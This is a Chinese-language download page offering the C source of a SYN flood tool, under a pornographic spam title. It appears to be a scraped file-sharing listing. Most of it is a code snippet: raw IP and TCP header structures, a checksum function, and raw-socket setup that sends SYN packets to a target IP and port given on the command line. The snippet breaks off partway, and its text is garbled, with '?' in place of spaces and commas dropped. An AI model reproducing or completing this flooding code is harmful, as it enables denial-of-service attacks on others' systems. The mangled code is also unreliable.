91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 2KB
    文件類型: .7z
    金幣: 1
    下載: 0 次
    發布日期: 2021-06-03
  • 語言: C/C++
  • 標簽: SYN??Flood??源碼??SOCKET??

資源簡介

SYN flood源代碼,可對指定IP的任意端口快速發生SYN數據包,代碼利用原始Socket直接操作網絡層。 由于微軟在XP SP2(包括SP2)以上系統禁止原始SOCKET發生TCP和含無效IP的UDP數據包,所以建議運行在Server 2003。代碼僅供學習使用,切莫非法活動。

資源截圖

代碼片段和文件信息

#include?

#include?

#include?

#include?

#include?

#include?

#pragma?comment(lib?“ws2_32.lib“)

#define?MAX_RECEIVEBYTE?255

typedef?struct?ip_head?//定義IP首部

{

unsigned?char?h_verlen;?//4位首部長度4位IP版本號

unsigned?char?tos;?//8位服務類型TOS

unsigned?short?total_len;?//16位總長度(字節)

unsigned?short?ident;?//16位標識

unsigned?short?frag_and_flags;?//3位標志位?(如SYNACK,等)

unsigned?char?ttl;?//8位生存時間?TTL

unsigned?char?proto;?//8位協議?(如ICMP,TCP等)

unsigned?short?checksum;?//16位IP首部校驗和

unsigned?int?sourceIP;?//32位源IP地址

unsigned?int?destIP;?//32位目的IP地址

}IPHEADER;

typedef?struct?tcp_head?//定義TCP首部

{

USHORT?th_sport;?//16位源端口

USHORT?th_dport;?//16位目的端口

unsigned?int?th_seq;?//32位序列號

unsigned?int?th_ack;?//32位確認號

unsigned?char?th_lenres;?//4位首部長度/6位保留字

unsigned?char?th_flag;?//6位標志位

USHORT?th_win;?//16位窗口大小

USHORT?th_sum;?//16位校驗和

USHORT?th_urp;?//16位緊急數據偏移量

}TCPHEADER;

typedef?struct?tsd_head?//定義TCP偽首部

{

unsigned?long?saddr;?//源地址

unsigned?long?daddr;?//目的地址

char?mbz;

char?ptcl;?//協議類型

unsigned?short?tcpl;?//TCP長度

}PSDHEADER;

//CheckSum:計算校驗和的子函數

USHORT?checksum(USHORT?*buffer?int?size)

{

unsigned?long?cksum=0;

while(size?>1)

{

cksum+=*buffer++;

size?-=sizeof(USHORT);

}

if(size)

{

cksum?+=?*(UCHAR*)buffer;

}

cksum?=?(cksum?>>?16)?+?(cksum?&?0xffff);

cksum?+=?(cksum?>>16);

return?(USHORT)(~cksum);

}

//Delay_time單位為毫秒。

int?main(int?argc?char*?argv[])

{

WSADATA?WSAData;

SOCKET?sock;

SOCKADDR_IN?addr_in;

IPHEADER?ipHeader;

TCPHEADER?tcpHeader;

PSDHEADER?psdHeader;

int?SourcePort;

char?szSendBuf[60]={0};

BOOL?flag;

int?rectnTimeOver;

int?sleeptime;

printf(“***********************************************************\n“);

printf(“SYN_FLOOD\n“);

printf(“Parameter:?FLOOD?Target_ip?Target_port?Delay_time\n“);

printf(“***********************************************************\n“);

if?(argc?4?)

{?printf(“input?error!?“);

return?false;?}

if?(argc==4)?sleeptime=atoi(argv[3]);

else?sleeptime=300;

if?(WSAStartup(MAKEWORD(22)?&WSAData)!=0)

{

printf(“WSAStartup?Error!“);

return?false;

}

sock=NULL;

if?((sock=socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET)

{

printf(“Socket?Setup?Error!“);

return?false;

}

flag=true;

if?(setsockopt(sockIPPROTO_IP?IP_HDRINCL(char?*)&flagsizeof(flag))==SOCKET_ERROR)

{

printf(“setsockopt?IP_HDRINCL?error!“);

return?false;

}

nTimeOver=1000;

if?(setsockopt(sock?SOL_SOCKET?SO_SNDTIMEO?(char*)&nTimeOver?sizeof(nTimeOver))==SOCKET_ERROR)?//設置發送的時間

{

printf(“setsockopt?SO_SNDTIMEO?error!“);

return?false;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(atoi(argv[2]));

addr_in.s

評論

共有 條評論